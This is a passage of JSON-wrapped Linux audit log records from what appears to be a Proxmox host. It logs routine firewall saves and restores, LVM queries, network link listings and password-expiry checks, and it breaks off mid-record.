{"@timestamp":1781966025644,"@rawstring":"node=pve type=PATH msg=audit(1781966025.644:68116): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165270,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.270:64435): proctitle=\"iptables-save\""} {"@timestamp":1781966025639,"@rawstring":"node=pve type=PATH msg=audit(1781966025.639:68115): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165266,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.266:64434): proctitle=69707365740073617665"} {"@timestamp":1781966025639,"@rawstring":"node=pve type=PATH msg=audit(1781966025.639:68115): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165257,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.257:64433): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966025639,"@rawstring":"node=pve type=PATH msg=audit(1781966025.639:68115): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965165250,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965165.250:64432): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966025632,"@rawstring":"node=pve type=PATH msg=audit(1781966025.632:68114): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965164197,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965164.197:64431): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966025632,"@rawstring":"node=pve type=PATH msg=audit(1781966025.632:68114): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965164173,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965164.173:64430): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966025624,"@rawstring":"node=pve type=PATH msg=audit(1781966025.624:68113): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965162029,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965162.029:64429): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966025624,"@rawstring":"node=pve type=PATH msg=audit(1781966025.624:68113): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965162029,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965162.029:64428): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966025619,"@rawstring":"node=pve type=PATH msg=audit(1781966025.619:68112): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965162029,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965162.029:64427): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966025619,"@rawstring":"node=pve type=PATH msg=audit(1781966025.619:68112): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965162022,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965162.022:64426): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966025611,"@rawstring":"node=pve type=PATH msg=audit(1781966025.611:68111): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965162022,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965162.022:64425): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966025611,"@rawstring":"node=pve type=PATH msg=audit(1781966025.611:68111): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965162022,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965162.022:64424): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966025602,"@rawstring":"node=pve type=PATH msg=audit(1781966025.602:68110): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965161723,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965161.723:64423): proctitle=2F7573722F62696E2F7065726C002F7573722F7362696E2F707665736D006C697374006C6F63616C002D2D766D696400383737"} {"@timestamp":1781966025602,"@rawstring":"node=pve type=PATH msg=audit(1781966025.602:68110): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685423,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.423:62170): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966025136,"@rawstring":"node=pve type=PATH msg=audit(1781966025.136:68109): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685420,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.420:62169): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966025136,"@rawstring":"node=pve type=PATH msg=audit(1781966025.136:68109): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685418,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.418:62168): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966025136,"@rawstring":"node=pve type=PATH msg=audit(1781966025.136:68108): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685418,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.418:62167): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966025136,"@rawstring":"node=pve type=PATH msg=audit(1781966025.136:68107): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685414,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.414:62166): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966025129,"@rawstring":"node=pve type=PATH msg=audit(1781966025.129:68106): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685408,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.408:62165): proctitle=\"ip6tables-save\""} {"@timestamp":1781966025129,"@rawstring":"node=pve type=PATH msg=audit(1781966025.129:68106): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685401,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.401:62164): proctitle=\"iptables-save\""} {"@timestamp":1781966025129,"@rawstring":"node=pve type=PATH msg=audit(1781966025.129:68105): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685395,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.395:62163): proctitle=\"ip6tables-save\""} {"@timestamp":1781966025128,"@rawstring":"node=pve type=PATH msg=audit(1781966025.128:68104): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685388,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.388:62162): proctitle=\"iptables-save\""} {"@timestamp":1781966024676,"@rawstring":"node=pve type=PATH msg=audit(1781966024.676:68103): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685386,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.386:62161): proctitle=\"ebtables-restore\""} {"@timestamp":1781966024676,"@rawstring":"node=pve type=PATH msg=audit(1781966024.676:68103): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685383,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.383:62160): proctitle=\"ebtables-restore\""} {"@timestamp":1781966024645,"@rawstring":"node=pve type=PATH msg=audit(1781966024.645:68102): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685378,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.378:62159): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966024645,"@rawstring":"node=pve type=PATH msg=audit(1781966024.645:68102): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685373,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.373:62158): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966021043,"@rawstring":"node=pve type=PATH msg=audit(1781966021.043:68101): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685367,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.367:62157): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966021043,"@rawstring":"node=pve type=PATH msg=audit(1781966021.043:68101): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685362,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.362:62156): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966021043,"@rawstring":"node=pve type=PATH msg=audit(1781966021.043:68100): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685357,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.357:62155): proctitle=697073657400726573746F7265"} {"@timestamp":1781966021043,"@rawstring":"node=pve type=PATH msg=audit(1781966021.043:68100): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685350,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.350:62154): proctitle=\"ip6tables-save\""} {"@timestamp":1781966021041,"@rawstring":"node=pve type=PATH msg=audit(1781966021.041:68099): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685344,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.344:62153): proctitle=\"iptables-save\""} {"@timestamp":1781966021041,"@rawstring":"node=pve type=PATH msg=audit(1781966021.041:68099): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685340,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.340:62152): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966020117,"@rawstring":"node=pve type=PATH msg=audit(1781966020.117:68098): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685337,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.337:62151): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966020117,"@rawstring":"node=pve type=PATH msg=audit(1781966020.117:68098): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685336,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.336:62150): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966020117,"@rawstring":"node=pve type=PATH msg=audit(1781966020.117:68097): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685335,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.335:62149): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966020116,"@rawstring":"node=pve type=PATH msg=audit(1781966020.116:68096): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685331,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.331:62148): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966020106,"@rawstring":"node=pve type=PATH msg=audit(1781966020.106:68095): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685325,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.325:62147): proctitle=\"ip6tables-save\""} {"@timestamp":1781966020106,"@rawstring":"node=pve type=PATH msg=audit(1781966020.106:68095): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685318,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.318:62146): proctitle=\"iptables-save\""} {"@timestamp":1781966020106,"@rawstring":"node=pve type=PATH msg=audit(1781966020.106:68094): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685314,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.314:62145): proctitle=69707365740073617665"} {"@timestamp":1781966020106,"@rawstring":"node=pve type=PATH msg=audit(1781966020.106:68093): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685308,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.308:62144): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966015582,"@rawstring":"node=pve type=PATH msg=audit(1781966015.582:68092): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685302,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.302:62143): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966015582,"@rawstring":"node=pve type=PATH msg=audit(1781966015.582:68092): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685293,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.293:62142): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966015579,"@rawstring":"node=pve type=PATH msg=audit(1781966015.579:68091): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685293,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.293:62141): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966015579,"@rawstring":"node=pve type=PATH msg=audit(1781966015.579:68091): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685293,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.293:62140): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966015578,"@rawstring":"node=pve type=PATH msg=audit(1781966015.578:68090): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685281,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.281:62139): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966015578,"@rawstring":"node=pve type=PATH msg=audit(1781966015.578:68090): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685281,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.281:62138): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966015578,"@rawstring":"node=pve type=PATH msg=audit(1781966015.578:68089): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685281,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964685.281:62137): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966015572,"@rawstring":"node=pve type=PATH msg=audit(1781966015.572:68088): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964684789,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964684.789:62136): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966015572,"@rawstring":"node=pve type=PATH msg=audit(1781966015.572:68088): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964684762,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964684.762:62135): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966015572,"@rawstring":"node=pve type=PATH msg=audit(1781966015.572:68088): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680271,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964680.271:62134): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966015564,"@rawstring":"node=pve type=PATH msg=audit(1781966015.564:68087): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680271,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964680.271:62133): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966015564,"@rawstring":"node=pve type=PATH msg=audit(1781966015.564:68087): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680270,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964680.270:62132): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966015556,"@rawstring":"node=pve type=PATH msg=audit(1781966015.556:68086): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680259,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964680.259:62131): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966015556,"@rawstring":"node=pve type=PATH msg=audit(1781966015.556:68086): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680259,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964680.259:62130): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966015545,"@rawstring":"node=pve type=PATH msg=audit(1781966015.545:68085): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680259,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964680.259:62129): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966015545,"@rawstring":"node=pve type=PATH msg=audit(1781966015.545:68085): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680090,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964680.090:62127): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F740063686B657870697279"} {"@timestamp":1781966015536,"@rawstring":"node=pve type=PATH msg=audit(1781966015.536:68084): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680087,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964680.087:62126): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F740063686B657870697279"} {"@timestamp":1781966015536,"@rawstring":"node=pve type=PATH msg=audit(1781966015.536:68084): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680049,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964680.049:62124): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966015528,"@rawstring":"node=pve type=PATH msg=audit(1781966015.528:68082): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964680047,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964680.047:62123): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966015528,"@rawstring":"node=pve type=PATH msg=audit(1781966015.528:68082): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 